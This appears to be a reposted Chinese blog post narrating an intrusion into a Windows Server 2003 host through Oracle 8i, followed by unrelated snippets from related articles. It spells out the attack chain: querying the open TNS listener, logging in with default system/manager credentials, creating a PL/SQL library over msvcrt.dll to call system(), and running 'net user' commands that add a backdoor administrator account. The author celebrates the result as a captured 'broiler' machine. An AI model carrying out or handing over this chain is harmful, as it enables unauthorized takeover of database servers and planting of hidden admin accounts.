oracle 8i漏洞渗透,一次通过Oracle8i入侵系统之旅(组图)

最近看了些有关Oracle的安全资料,看后随手做了一个渗透测试,把过程记录下来方便日后查阅.先用SuperScan4.0扫描下要测试的主机,速度很快,结果如图1所示:

viewspace-349372  

图 1

端口 1521 是 Oracle 的 TNS Listener 默认监听的端口,通过扫描报告还可以看到Oracle的版本为8i.现在还不知道对方的操作系统版本,看到主机还开放了终端服务,直接连上去看下操作系统版本.如图 2,

viewspace-349372  

图 2

确定操作系统版本为 Windows Server 2003 企业版。Oracle 10g 之前的版本默认情况下是允许远程管理TNSListener 的,这台主机的 Oracle 版本为 8i,我们通过 TNSListenner来收集下更多的详细信息.如果本地安装了 Oracle 可以直接调用 Lsnrctl 连接到测试的主机,如图 3所示:

viewspace-349372  

图 3

通过输入"status "命令我们可以得到 oracle详细版本(8.1.70.0),操作系统(Windows),跟踪级别为OFF(说明没 有开启审核),安全性为 OFF(说明没有设置Listener 口令),日志文件的绝对路径(判断 Oracle安装路径),数据库的 SID(ccdr).

要远程管理 Oracle, 需要知道 IP,数据库的 SID,和连接的用户名和密码.IP 和 SID我们已经知道了.接下来用oscanner 工具扫描下要测试主机是否存在默认的密码.如图 4 所示.

viewspace-349372 图 4

看来管理员安装完 Oracle8i 后就没有进行进一步的安全配置 , 所有的用户名密码都是默的.在Oracle中,SYS/SYSTEM 都是具有 DBA 权限的帐户,我这里选择使用 SYSTEM/MA NAGER来连接数据库.

在本地用 Sqlplus 连接到目标 Oracle 数据库,命令为:

SqlPlussystem/manager@//victimip:1521/ccdr

连接成功后,可以通过 PL/SQL 来运行 OS 命令,首先需要创建库来定位msvcrt.dll文件.这里需要使用完整的路径,通过刚才对主机的查点我们已经知道操作系统为 win2003, 如果系统安装到 C盘的话 , 那msvcrt.dll默认路径就为c:\windows\system32\msvcrt.dll.创建库的命令如下:

CREATEORREPLACELIBRARYexec_shellAS"c:\windows\system32\msvcrt.dll";

接下来写一个过程来调用 msvcrt.dll 里的 system()函数.命令如下:

CREATEORREPLACEPACKAGEoracmdIS

PROCEDUREexec(cmdstringINCHAR);

endoracmd;

/

CREATEOREREPLACEPACKAGEBODYoracmdIS

PROCEDUREexec(cmdstringINCHAR)

ISEXTERNAL

NAME"system"

LIBRARYexec_shell

LANGUAGEC;

endoracmd;

/

创建完后,就可以运行 OS 命令了.由于主机已经开放了终端服务,所以我这里添加个管理员,然后连接服务器.命令如下:

execoracmd.exec("netusermickeyimissyou/add");

execoracmd.exec("netlocalgroupadministratorsmickey/add");

帐户创建完成后,如图 5,就可以连接终端服务了,一台肉鸡到手了.:-)

viewspace-349372   

图 5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/566276.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux系统安装serv u,建立第一个可用的FTP服务器

二、建立第一个可用的FTP服务器1、比如本机IP地址为“192.168.0.48”,已建立好域名“ftp.bbc.com”的相关DNS记录。2、打开Serv-U管理器。选上图的“Serv-U Administrator”,即出现“Setup Wizard”(设置向导)。此向导可以帮你轻松地完成基本设置&#x…

mat 内存分析 Linux,JVM内存分析工具MAT使用简介

# Memory Analyzer使用简介markdown格式渲染异常请阅读附件。- [Memory Analyzer使用简介](#memory-analyzer使用简介)- [MAT 简介](#mat-简介)- [安装](#安装)- [图形界面使用方式](#图形界面使用方式)- [命令行使用方式](#命令行使用方式)- [线程dump](#线程dump)- [堆dump](…

Linux配置scheme环境,用 Xcode Configuration 和 Scheme 配置项目环境

8种机械键盘轴体对比本人程序员,要买一个写代码的键盘,请问红轴和茶轴怎么选?想象一个场景,我们正在开发一款支付系统,这个支付系统同时支持有Web版和原生的iOS APP版本。这个支付系统有三个环境:dev: 调用…

linux进入字符界面编程,MPlayer字符界面操作方法

一、启动播放时参数:在终端下敲入:./mplayer 提示各种使用帮助信息-vo 选择视频输出模式和设备(用-vo help查看列表)-ao 选择音频输出模式和设备(用-ao help查看列表)-ss 寻找指定的(多少秒或hh:mm:ss)位置-nosound 不播放声音-fs -vm -zoom …

linux怎么删web应用程序错误,Ubuntu 20.04将删除Amazon Web应用程序,但用户可另行安装...

Ubuntu 20.04将删除Amazon Web应用程序,原因就是这款应用很少有用户使用,但需要的用户也可另行安装。在过去的8年中,Amazon Web应用程序已成为Ubuntu桌面的一部分,现在,Ubuntu 20.04已决定退出。亚马逊网络启动器是在U…

linux 双网卡 debian,Debian 双网卡bond

1. 安装ifenslaveifenslave的作用是网卡的负载均衡# apt-get install ifenslave2. 修改/etc/network/interface复制代码代码如下:{rootb01 359 ~}# cat /etc/network/interfaces# This file describes the network interfaces available on your system# and how to activate t…

C++对象数组与对象指针

C对象数组 1.1数组不仅可以由简单的变量组成,而且还可以由对象组成。 1.2对象数组的初始化: A.如果构造函数只有一个参数,在初始化数组时可以在花括号里提供实参。Student stud[3]{10,18,12}; B.如果构造函数有多个参数,在初始化数组时&a…

linux下sqlmap安装教程,(转)Sqlmap官网下载与安装教程[windows/linux版本]

转自:http://www.vuln.cn/2000sqlmap的功能与强大性不必多言,方便大家下载,给大家整理了下sqlmap最新版的官网与github下载地址。官网下载地址github下载环境与安装windows系统环境安装windows下安装sqlmap需要python环境支持安装好后&#x…

C++共用数据的保护

C中往往通过使用const,来使数据在一定范围内共享又不能被随意修改。 C常对象 1.1常对象的一般形式为:A.Time const t(1,2,3);B.const Time t(1,2,3);1.2常对象的数据成员都是常变量而且必须要有初值。1.3不能调用常对象的非const型的成员函数&#xff0…

linux gcc本地链接lib文件(c静态,动态),GCC中静态连接和动态连接的区别(LINUX下)...

最近正在学习库的用法,写了最基础的libmystring.a的库(里面只有一个add函数),然后编写test程序测试add函数,用ar命令创建好libmystring.a库后,用以下命令编译静态连接的a.outgcc –static test.c –L ./ –lmystring –o a.out得到…

C++对象的动态建立和释放

1.1前面的方法是静态的&#xff0c;而在c中要动态的建立对象可以用new&#xff0c;删除对象用delete。 C对象动态建立和释放 1.1用new运算符之后&#xff0c;返回一个指向新对象的指针。Box *ptnew Box(1,2,3);1.2通过pt来访问这个对象cout << pt->height;cout <&…

linux18.04循环登陆,ubuntu18.04 循环登陆

主要原因是驱动不对&#xff0c;重新按装驱动就是了&#xff0c;按以下步骤进行&#xff1a;1、sudo apt-get remove --purge nvidia-*2、sudo apt-get autoremove3、sudo reboot重新启动后&#xff1a;sudo ubuntu-drivers autoinstallubuntu 18.04 不同桌面的切换 gdm3/light…

C++对象的赋值和复制

C对象的赋值 1.1对象之间的赋值是用“”运算符来实现的&#xff0c;“”在c中扩展为重载运算符来实现对象间的赋值。t1t2;1.2对象赋值是对数据成员的赋值&#xff0c;而不是对成员函数的赋值。因为数据成员占用内存空间&#xff0c;而成员函数只是一段共用代码。1.3类的数据成员…

linux附加重定向,关于Linux:如何将stdout和stderr重定向并附加到带有bash的文件中?...

要将stdout重定向到bash中的截断文件&#xff0c;我知道要使用&#xff1a;cmd > file.txt要重定向bash中的stdout&#xff0c;附加到一个文件&#xff0c;我知道要使用&#xff1a;cmd >> file.txt要将stdout和stderr重定向到截断的文件&#xff0c;我知道要使用&…

C++静态成员

在同类的多个对象之间实现数据共享&#xff0c;往往使用静态成员而不是全局变量。 C静态数据成员 1.1静态数据成员是一种特殊的数据成员。static int height;1.2静态数据成员可以通过类名来引用&#xff0c;也可以通过对象来引用。1.3静态数据成员不属于某一个对象&#xff0c;…

实践平台linux,关于构造Linux系统实践平台的设想

摘 要 当前虽然有很多高校将Linux课程作为本科学生的必修课&#xff0c;但是在高校中专业的Linux实验室却并未普及。在不增加机房管理员工作量以及学生可以充分体验Linux系统性能的前提下&#xff0c;本文提出了一种利用网络来实现Linux系统实践平台的构造方法&#xff0c;并且…

ndk linux 最新版本,NDK各版本下载

翻不了墙的话&#xff0c;可以用迅雷下载最新版本r20https://dl.google.com/android/repository/android-ndk-r20-windows-x86.ziphttps://dl.google.com/android/repository/android-ndk-r20-windows-x86_64.ziphttps://dl.google.com/android/repository/android-ndk-r20-dar…

c语言常用字符串处理函数6,【总结】C语言中常见的字符串处理函数

-------------------------------------------------------------------------------------------C语言中没有字符串类型&#xff0c;但是为了方便对字符串进行操作&#xff0c;提供了许多字符串处理函数。如&#xff1a;输入输出字符串&#xff0c;字符串的拷贝&#xff0c;连…

c语言 样例测试覆盖,白盒测试实例之十一——逻辑覆盖测试

逻辑覆盖测试是通过对程序逻辑结构的遍历实现程序的覆盖。从覆盖源代码的不同程度可以分为以下六个标准&#xff1a;语句覆盖、判定覆盖(又称为分支覆盖)、条件覆盖、判定-条件覆盖(又称为分支-条件覆盖)、条件组合覆盖和路径覆盖。先看一下具体例子的源代码(C语言)&#xff1a…

C++运算符重载函数作为类成员函数和友元函数

C运算符重载函数作为类成员函数 1.1成员函数的重载运算符左侧是一个类对象&#xff0c;而且与运算符函数类型相同。因为必须通过类的对象去调用该类的成员函数&#xff0c;而且只有运算符重载函数和返回值类型相同&#xff0c;运算结果才有意义。1.2将双目运算符重载为友元函数…